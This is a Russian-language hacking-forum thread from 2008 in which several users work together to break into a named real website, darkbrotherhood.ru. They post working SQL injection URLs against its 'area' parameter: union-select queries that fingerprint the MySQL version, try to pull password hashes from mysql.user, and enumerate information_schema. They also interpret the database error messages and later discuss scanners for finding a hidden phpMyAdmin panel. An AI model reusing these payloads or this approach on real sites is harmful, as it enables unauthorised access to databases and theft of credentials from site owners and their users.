18.06.2008, 03:19
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами:
9454841
Репутация:
504
|
|
Сообщение от diznt
http://darkbrotherhood.ru/index.php?charakter=&type=&p=articles&area=1&categ =&ud=&selby=&show=&pp=1'&page=1&PHPSESSID=810a244f 15bdf6a24b5889fe90dde026
Бошка не варит у мя совсем(((
подскажите
эм... а чем помогать то? это вроде как не скул инж... там в параметре area передается адрес к файлу:
Код:
http://darkbrotherhood.ru/index.php?area=1asd&p=static&page=offres
попробуй это заюзать, может получится...
Последний раз редактировалось gisTy; 18.06.2008 в 05:11..
|
|
|
18.06.2008, 04:35
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
Foxtrot1
http://darkbrotherhood.ru/index.php?area=1+union+select+aes_decrypt(aes_encr ypt((version(),0x71),0x71),2,3,4,5,6/*
mysql 4 or 5.
http://darkbrotherhood.ru/index.php?area=1+union+select+password,2,3,4,5,6+f rom+mysql.user/*
у юзера нет прав.
Table 'wwwdarkbrotherhoodru_mysql.users' doesn't exist
переберай колонки.)
Последний раз редактировалось sabe; 18.06.2008 в 05:44..
|
|
|
|
18.06.2008, 05:17
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами:
9454841
Репутация:
504
|
|
кстати версия мускула не 4, а 5... но доступа к information_schema юзверь не имеет...
Код:
http://darkbrotherhood.ru/index.php?area=1+union+select+1,2,3,4,5,6+from+information_schema.tables/*
|
|
|
|
18.06.2008, 07:36
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
С нами:
9741777
Репутация:
100
|
|
На выделеном сервере установлен phpmyadmin, как его можно найти, при условии, что папка переименова?
Существуют какие-нибудь сканеры?
|
|
|
|
18.06.2008, 07:46
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами:
10485026
Репутация:
1879
|
|
Ну а как ты его найдёшь?
_https://forum.antichat.ru/threadnav40031-1-10.html Сканер.
Или поищи скрипт nikto.pl
|
|
|
|
18.06.2008, 13:00
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
С нами:
9741777
Репутация:
100
|
|
Сообщение от Ch3ck
Ну а как ты его найдёшь?
_https://forum.antichat.ru/threadnav40031-1-10.html Сканер.
Или поищи скрипт nikto.pl
nicto.pl - для cgi. Он не подходит. Скрипты не помогли
Пытаюсь загрузить через думпер, пишет 500 ошибку.
|
|
|
|
18.06.2008, 07:50
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
С нами:
9741777
Репутация:
100
|
|
Попробую. Спасибо.
|
|
|
|
18.06.2008, 09:02
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами:
9454841
Репутация:
504
|
|
Сообщение от sabe
http://darkbrotherhood.ru/index.php?area=1+union+select+password,2,3,4,5,6+f rom+mysql.user/*
кстати по этому запросу говорит не то что нет доступа к базе... а то что базы не существует.. просто запрос неправельный..
Код:
http://darkbrotherhood.ru/index.php?area=1+union+select+1,2,3,4,5,6+from+mysql.users/*
вот тут реально говорит что доступа к таблице нет...
|
|
|
|
18.06.2008, 11:41
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами:
10188506
Репутация:
861
|
|
gisTy, во-первых запрос правильный, во-вторых Access denied for user 'darkbrot_mysql'@'%' to database 'mysql' переводица как Доступ запрещен бла-бла-бла, а Doesn't exist - не существует.
|
|
|
|
18.06.2008, 15:13
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами:
9454841
Репутация:
504
|
|
сори ступил... эх матан матан... не суждено мне его было сегодня сдеать...
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
